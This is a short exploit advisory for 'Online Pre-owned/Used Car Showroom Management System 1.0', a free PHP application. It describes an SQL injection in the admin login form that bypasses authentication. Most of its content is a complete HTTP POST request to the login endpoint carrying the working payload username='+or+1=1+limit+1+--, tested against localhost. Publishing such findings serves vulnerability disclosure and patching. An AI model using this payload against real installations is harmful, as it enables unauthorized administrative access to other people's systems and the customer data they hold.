Online Pre-owned/Used Car Showroom Management System 1.0 - SQL injection Authentication Bypass

# Exploit Title: Online Pre-owned/Used Car Showroom Management System 1.0 -  SQLi Authentication Bypass
# Exploit Author: Mohamed habib Smidi (Craniums)
# Vendor Homepage: https://www.sourcecodester.com/php/15067/online-pre-ownedused-car-showroom-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/used_car_showroom.zip
# Version: 1.0
# Tested on: Ubuntu

# Description :

Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form.

# Request :

POST /used_car_showroom/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0)
Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/used_car_showroom/admin/login.php
Cookie: PHPSESSID=v0h6049m9ppunsh8vtfc8oj4p5
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin


username='+or+1%3D1+limit+1+--+-%2B&password=aaaa

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